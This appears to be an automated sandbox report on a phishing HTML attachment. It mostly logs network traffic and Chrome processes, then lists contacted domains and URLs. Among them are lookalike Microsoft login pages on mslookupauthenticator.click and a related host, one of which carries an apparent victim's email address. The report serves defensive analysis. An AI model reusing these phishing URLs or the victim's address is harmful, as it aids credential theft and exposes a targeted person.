Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50135
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50016
Source: unknown	Network traffic detected: HTTP traffic on port 50078 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50137
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50136
Source: unknown	Network traffic detected: HTTP traffic on port 50161 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49791 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49759 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50144 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50142
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50023
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50144
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50022
Source: unknown	Network traffic detected: HTTP traffic on port 49742 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50095 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50146
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50024
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50145
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50027
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50148
Source: unknown	Network traffic detected: HTTP traffic on port 50138 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50155 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50176 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50084 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49766
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49765
Source: unknown	Network traffic detected: HTTP traffic on port 49758 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49763
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49762
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49761
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49760
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50153
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50152
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50155
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50033
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50154
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50036
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50157
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50035
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50159
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50037
Source: unknown	Network traffic detected: HTTP traffic on port 50182 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49797 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50005 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50041
Source: unknown	Network traffic detected: HTTP traffic on port 50137 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50162
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50161
Source: unknown	Network traffic detected: HTTP traffic on port 50104 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49759
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49758
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49757
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49756
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49755
Source: unknown	Network traffic detected: HTTP traffic on port 50121 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49996
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49752
Source: unknown	Network traffic detected: HTTP traffic on port 50016 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49750
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49870
Source: unknown	Network traffic detected: HTTP traffic on port 50033 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50043
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50164
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50042
Source: unknown	Network traffic detected: HTTP traffic on port 49786 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50044
Source: unknown	Network traffic detected: HTTP traffic on port 50115 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50168
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50048
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50169
Source: unknown	Network traffic detected: HTTP traffic on port 50109 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50072 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50027 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50052
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50173
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50172
Source: unknown	Network traffic detected: HTTP traffic on port 50044 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49749
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49748
Source: unknown	Network traffic detected: HTTP traffic on port 49792 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50145 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50036 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50168 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50122 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50042 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50174 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50116 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50059 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50071 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49849 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50060 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50109
Source: unknown	Network traffic detected: HTTP traffic on port 50077 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50101
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50104
Source: unknown	Network traffic detected: HTTP traffic on port 49763 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50053 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50162 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49752 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49798 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50197 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50088 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50117
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50116
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50118
Source: unknown	Network traffic detected: HTTP traffic on port 49787 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50076 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50115
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50114
Source: unknown	Network traffic detected: HTTP traffic on port 49793 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50099 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50043 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50175 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50037 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49799
Source: unknown	Network traffic detected: HTTP traffic on port 49782 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49757 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49798
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49797
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49796
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50008
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49795
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49794
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49793
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49792
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49791
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49790
Source: unknown	Network traffic detected: HTTP traffic on port 50093 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50122
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50121
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50245
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50005
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50004
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50125
Source: unknown	Network traffic detected: HTTP traffic on port 50048 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49808 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50082 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49789
Source: unknown	Network traffic detected: HTTP traffic on port 50164 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50098
Source: unknown	Network traffic detected: HTTP traffic on port 49859 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50097
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50099
Source: unknown	Network traffic detected: HTTP traffic on port 50315 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49762 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50075 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50052 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50135 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49799 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49937
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49813
Source: unknown	Network traffic detected: HTTP traffic on port 50169 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50117 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50173 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50035 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50008 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50152 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50070 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49788 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49794 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50098 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49809
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49808
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49805
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49804
Source: unknown	Network traffic detected: HTTP traffic on port 49756 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49800
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50315
Source: unknown	Network traffic detected: HTTP traffic on port 49783 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50063 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50316
Source: unknown	Network traffic detected: HTTP traffic on port 50118 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50092 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49937 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50024 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49809 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49755 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50041 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50146 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50245 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50316 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49761 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50058 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50097 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49804 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50157 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49750 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50101 -> 443

Source: classification engine

Classification label: mal80.phis.winHTML@37/198@141/47

Source: unknown	Process created: C:\Program Files\Google\Chrome\Application\chrome.exe "C:\Program Files\Google\Chrome\Application\chrome.exe" --start-maximized "C:\Users\user\Desktop\Product Blueprint..html"
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: C:\Program Files\Google\Chrome\Application\chrome.exe "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --mojo-platform-channel-handle=2000 --field-trial-handle=1904,i,291666752959316811,4973993784526044605,262144 /prefetch:8
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: C:\Program Files\Google\Chrome\Application\chrome.exe "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=printing.mojom.PrintCompositor --lang=en-US --service-sandbox-type=print_compositor --mojo-platform-channel-handle=6324 --field-trial-handle=1904,i,291666752959316811,4973993784526044605,262144 /prefetch:8
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: C:\Program Files\Google\Chrome\Application\chrome.exe "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=printing.mojom.PrintingService --lang=en-US --service-sandbox-type=pdf_conversion --mojo-platform-channel-handle=6796 --field-trial-handle=1904,i,291666752959316811,4973993784526044605,262144 /prefetch:8
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: C:\Program Files\Google\Chrome\Application\chrome.exe "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --mojo-platform-channel-handle=2000 --field-trial-handle=1904,i,291666752959316811,4973993784526044605,262144 /prefetch:8	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: C:\Program Files\Google\Chrome\Application\chrome.exe "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=printing.mojom.PrintCompositor --lang=en-US --service-sandbox-type=print_compositor --mojo-platform-channel-handle=6324 --field-trial-handle=1904,i,291666752959316811,4973993784526044605,262144 /prefetch:8	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: C:\Program Files\Google\Chrome\Application\chrome.exe "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=printing.mojom.PrintingService --lang=en-US --service-sandbox-type=pdf_conversion --mojo-platform-channel-handle=6796 --field-trial-handle=1904,i,291666752959316811,4973993784526044605,262144 /prefetch:8	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior

Source: Window Recorder

Window detected: More than 3 window changes detected

Source: C:\Program Files\Google\Chrome\Application\chrome.exe

Window detected: Number of UI elements: 15

Stealing of Sensitive Information

HTML file submission containing password form

Source: file:///C:/Users/user/Desktop/Product%20Blueprint..html

HTTP Parser: file:///C:/Users/user/Desktop/Product%20Blueprint..html

Mitre Att&ck Matrix

Reconnaissance	Resource Development	Initial Access	Execution	Persistence	Privilege Escalation	Defense Evasion	Credential Access	Discovery	Lateral Movement	Collection	Command and Control	Exfiltration	Impact
Gather Victim Identity Information	Acquire Infrastructure	1 Drive-by Compromise	Windows Management Instrumentation	2 Browser Extensions	1 Process Injection	1 Process Injection	OS Credential Dumping	System Service Discovery	Remote Services	Data from Local System	1 Encrypted Channel	Exfiltration Over Other Network Medium	Abuse Accessibility Features
Credentials	Domains	Default Accounts	Scheduled Task/Job	Boot or Logon Initialization Scripts	Boot or Logon Initialization Scripts	Rootkit	LSASS Memory	Application Window Discovery	Remote Desktop Protocol	Data from Removable Media	4 Non-Application Layer Protocol	Exfiltration Over Bluetooth	Network Denial of Service
Email Addresses	DNS Server	Domain Accounts	At	Logon Script (Windows)	Logon Script (Windows)	Obfuscated Files or Information	Security Account Manager	Query Registry	SMB/Windows Admin Shares	Data from Network Shared Drive	5 Application Layer Protocol	Automated Exfiltration	Data Encrypted for Impact
Employee Names	Virtual Private Server	Local Accounts	Cron	Login Hook	Login Hook	Binary Padding	NTDS	System Network Configuration Discovery	Distributed Component Object Model	Input Capture	3 Ingress Tool Transfer	Traffic Duplication	Data Destruction

Behavior Graph

Hide Legend

Legend:

Process
Signature
Created File
DNS/IP Info
Is Dropped
Is Windows Process
Number of created Registry Values
Number of created Files
Visual Basic
Delphi
Java
.Net C# or VB.NET
C, C++ or other language
Is malicious
Internet

Source	Detection	Scanner	Label
https://tc39.es/ecma262/#sec-array.prototype.push	0%	Avira URL Cloud	safe
https://tc39.es/ecma262/#sec-object.prototype.tostring	0%	Avira URL Cloud	safe
https://tc39.es/ecma262/#sec-object.getownpropertydescriptor	0%	Avira URL Cloud	safe
https://tc39.es/ecma262/#sec-arrayspeciescreate	0%	Avira URL Cloud	safe
https://bugs.chromium.org/p/v8/issues/detail?id=12681	0%	Avira URL Cloud	safe
https://login.mslookupauthenticator.click/msmatcherauth	0%	Avira URL Cloud	safe
https://tc39.es/ecma262/#sec-tointegerorinfinity	0%	Avira URL Cloud	safe
https://axios-http.com	0%	Avira URL Cloud	safe
https://autenticatorresolver.online/assets/global/pdf/css/conn.css	0%	Avira URL Cloud	safe
https://keycode.info/table-of-all-keycodes	0%	Avira URL Cloud	safe
https://tc39.es/ecma262/#sec-getmethod	0%	Avira URL Cloud	safe
https://login.mslookupauthenticator.click/common/oauth2/v2.0/authorize?client_id=4765445b-32c6-49b0-83e6-1d93765276ca&redirect_uri=https%3A%2F%2Fwww.office.com%2Flandingv2&response_type=code%20id_token&scope=openid%20profile%20https%3A%2F%2Fwww.office.com%2Fv2%2FOfficeHome.All&response_mode=form_post&nonce=638694365871268878.NWY4OTM3NmYtNGVlMS00NTVhLWFkNTAtOTAyMDY4NWEzMWM2NmVjYTA1ODYtODc4Ny00ZDc3LWIxZjgtZTNmYzEyMzZlOTEx&ui_locales=en-US&mkt=en-US&client-request-id=5db22519-5e1e-4add-b5c3-31a49ef01e5d&state=G44FCewuizXOZN1fgJ9nKoI3xta-I5goow3qtE9CjEuUIY2c3VAdnfdhr16SsQMXob5299RyMP4_LdRKFk-W-vaaBptNxgAZaqTGXvJaU-icnvRdz1cFHkjXWiKihwv0_-5mIVGWbz5QWam1tAz099iMGQpCwjW6zrU4Va6XdpAOQNyxy5u_vpvWnJJ7ZoN5UKy3odd3gg5Mr9wz8bHqVeOb_ivm1twa8omwqvs7Emr9sMeIZ3KnA8trtCkJBD-MvepCyyvsik6kGtWFh8NC5Q&x-client-SKU=ID_NET8_0&x-client-ver=7.5.1.0&sso_reload=true	0%	Avira URL Cloud	safe
https://tc39.es/ecma262/#sec-parseint-string-radix	0%	Avira URL Cloud	safe
http://www.ecma-international.org/publications/files/ECMA-ST/ECMA-262.pdf)	0%	Avira URL Cloud	safe
https://tc39.es/ecma262/#sec-string.prototype.includes	0%	Avira URL Cloud	safe
https://tc39.es/ecma262/#sec-tolength	0%	Avira URL Cloud	safe
https://tc39.es/ecma262/#sec-array.prototype.map	0%	Avira URL Cloud	safe
https://tc39.es/ecma262/#sec-array.prototype-	0%	Avira URL Cloud	safe
https://login.mslookupauthenticator.click/s/b3999fa4268b66533ad2c4a052ab10cc14cf272a7d0e317bf74e06a445ca00c6	0%	Avira URL Cloud	safe
https://login.mslookupauthenticator.click/common/GetCredentialType?mkt=en-US	0%	Avira URL Cloud	safe
https://tc39.es/ecma262/#sec-IsHTMLDDA-internal-slot	0%	Avira URL Cloud	safe
https://tc39.es/ecma262/#sec-string.prototype.trimstart	0%	Avira URL Cloud	safe
https://login.mslookupauthenticator.click/s/b3999fa4268b66533ad2c4a052ab10cc14cf272a7d0e317bf74e06a445ca00c6.js	0%	Avira URL Cloud	safe
https://login.mslookupauthenticator.click/s/b3999fa4268b66533ad2c4a052ab10cc14cf272a7d0e317bf74e06a445ca00c6/21e9b8317fa1a3d5bd9930a886e47543e758b850f0b6f5b325717f87114218b0.js	0%	Avira URL Cloud	safe
https://bugzil.la/548397	0%	Avira URL Cloud	safe
https://dc-int.services.visualstudio.com	0%	Avira URL Cloud	safe
https://tc39.es/ecma262/#sec-object.entries	0%	Avira URL Cloud	safe
https://microsoftit.pkgs.visualstudio.com/OneITVSO/_packaging/CSM-SITES-AEMFoundations/npm/registry/	0%	Avira URL Cloud	safe
https://tc39.es/ecma262/#sec-array.prototype.foreach	0%	Avira URL Cloud	safe
https://tc39.es/ecma262/#sec-array.prototype.find	0%	Avira URL Cloud	safe
https://tc39.es/ecma262/#sec-object.keys	0%	Avira URL Cloud	safe

Domains and IPs

Contacted Domains

Name	IP	Active	Malicious	Reputation
jsdelivr.map.fastly.net	151.101.65.229	true	false	high
s.tribalfusion.com	104.18.37.193	true	false	high
global.px.quantserve.com	91.228.74.200	true	false	high
autenticatorresolver.online	104.21.64.1	true	false	high
www.mslookupauthenticator.click	34.200.203.57	true	false	unknown
s-part-0035.t-0009.t-msedge.net	13.107.246.63	true	false	high
eu-eb2.3lift.com	76.223.111.18	true	false	high
bttrack.com	192.132.33.69	true	false	high
adobetarget.data.adobedc.net	66.235.152.221	true	false	high
idsync.rlcdn.com	35.244.154.8	true	false	high
dualstack.tls13.taboola.map.fastly.net	151.101.1.44	true	false	high
sync.crwdcntrl.net	3.1.88.234	true	false	high
ipinfo.io	34.117.59.81	true	false	high
cm.g.doubleclick.net	172.217.17.66	true	false	high
sni1gl.wpc.omegacdn.net	152.199.21.175	true	false	high
rtb.adentifi.com	44.216.225.197	true	false	high
www.google.com	142.250.181.100	true	false	high
dcs-ups.g03.yahoodns.net	188.125.88.204	true	false	high
dcs-public-edge-irl1-150041215.eu-west-1.elb.amazonaws.com	54.154.234.207	true	false	high
sync.srv.stackadapt.com	3.219.79.107	true	false	high
msftenterprise.sc.omtrdc.net	63.140.62.27	true	false	high
match.adsrvr.org	3.33.220.150	true	false	high
star-mini.c10r.facebook.com	157.240.195.35	true	false	high
us-u.openx.net	35.244.159.8	true	false	high
s.twitter.com	104.244.42.67	true	false	high
aragorn-prod-or-acai-lb.inbake.com	35.85.18.98	true	false	high
login.mslookupauthenticator.click	34.200.203.57	true	true	unknown
dsum-sec.casalemedia.com	104.18.27.193	true	false	high
a.tribalfusion.com	172.64.150.63	true	false	high
ib.anycast.adnxs.com	37.252.171.149	true	false	high
pug-sg4c.pubmnet.com	67.199.150.86	true	false	high
easycdn.cdn78drop.click	13.57.116.250	true	false	unknown
ag.innovid.com	unknown	unknown	false	high
cdn.jsdelivr.net	unknown	unknown	false	high
idpix.media6degrees.com	unknown	unknown	false	high
px.owneriq.net	unknown	unknown	false	high
ds.reson8.com	unknown	unknown	false	high
ups.analytics.yahoo.com	unknown	unknown	false	high
ajax.aspnetcdn.com	unknown	unknown	false	high
cm.everesttech.net	unknown	unknown	false	high
jadserve.postrelease.com	unknown	unknown	false	high
image2.pubmatic.com	unknown	unknown	false	high
dmpsync.3lift.com	unknown	unknown	false	high
dpm.demdex.net	unknown	unknown	false	high
rtd-tm.everesttech.net	unknown	unknown	false	high
servedby.flashtalking.com	unknown	unknown	false	high
www.facebook.com	unknown	unknown	false	high
rtd.tubemogul.com	unknown	unknown	false	high
aadcdn.msftauth.net	unknown	unknown	false	high
pixel.rubiconproject.com	unknown	unknown	false	high
trc.taboola.com	unknown	unknown	false	high
mscom.demdex.net	unknown	unknown	false	high
analytics.twitter.com	unknown	unknown	false	high
cms.quantserve.com	unknown	unknown	false	high
identity.nel.measure.office.net	unknown	unknown	false	high
cms.analytics.yahoo.com	unknown	unknown	false	high
ib.adnxs.com	unknown	unknown	false	high
sync.search.spotxchange.com	unknown	unknown	false	high
sync-tm.everesttech.net	unknown	unknown	false	high

Contacted URLs

Name	Malicious	Antivirus Detection	Reputation
https://dpm.demdex.net/ibs:dpid=358&dpuuid=6105356000114051776	false		high
https://login.mslookupauthenticator.click/common/oauth2/v2.0/authorize?client_id=4765445b-32c6-49b0-83e6-1d93765276ca&redirect_uri=https%3A%2F%2Fwww.office.com%2Flandingv2&response_type=code%20id_token&scope=openid%20profile%20https%3A%2F%2Fwww.office.com%2Fv2%2FOfficeHome.All&response_mode=form_post&nonce=638694365871268878.NWY4OTM3NmYtNGVlMS00NTVhLWFkNTAtOTAyMDY4NWEzMWM2NmVjYTA1ODYtODc4Ny00ZDc3LWIxZjgtZTNmYzEyMzZlOTEx&ui_locales=en-US&mkt=en-US&client-request-id=5db22519-5e1e-4add-b5c3-31a49ef01e5d&state=G44FCewuizXOZN1fgJ9nKoI3xta-I5goow3qtE9CjEuUIY2c3VAdnfdhr16SsQMXob5299RyMP4_LdRKFk-W-vaaBptNxgAZaqTGXvJaU-icnvRdz1cFHkjXWiKihwv0_-5mIVGWbz5QWam1tAz099iMGQpCwjW6zrU4Va6XdpAOQNyxy5u_vpvWnJJ7ZoN5UKy3odd3gg5Mr9wz8bHqVeOb_ivm1twa8omwqvs7Emr9sMeIZ3KnA8trtCkJBD-MvepCyyvsik6kGtWFh8NC5Q&x-client-SKU=ID_NET8_0&x-client-ver=7.5.1.0#email=uk.bdt@belzona.com	false		unknown
https://dmpsync.3lift.com/getuid?ld=1&gdpr=0&cmp_cs=&us_privacy=&redir=%2F%2Fdpm.demdex.net%2Fibs%3Adpid%3D72352%26dpuuid%3D%24UID%26gdpr%3D0%26gdpr_consent%3D	false		high
https://login.mslookupauthenticator.click/msmatcherauth	false	Avira URL Cloud: safe	unknown
https://dpm.demdex.net/ibs:dpid=3047&dpuuid=6188F94A79EC0F&gdpr=0&gdpr_consent=	false		high
https://dpm.demdex.net/ibs:dpid=72352&dpuuid=163177591737373899600&gdpr=0&gdpr_consent=	false		high
https://idsync.rlcdn.com/365868.gif?partner_uid=46356403213087719583427206263392261374	false		high
https://idsync.rlcdn.com/1000.gif?memo=CKyqFhIxCi0IARCYEhomNDYzNTY0MDMyMTMwODc3MTk1ODM0MjcyMDYyNjMzOTIyNjEzNzQQABoNCOiX4boGEgUI6AcQAEIASgA	false		high
https://dpm.demdex.net/ibs:dpid=30646?dpuuid=y-06NGrQJE2pE28EYCIxdbKk9v8JKOzJTaXfE-~A	false		high
https://dpm.demdex.net/ibs:dpid=80742&dpuuid=52f3b213-3dca-4813-811d-c5602f354dc7	false		high
https://autenticatorresolver.online/assets/global/pdf/css/conn.css	false	Avira URL Cloud: safe	unknown
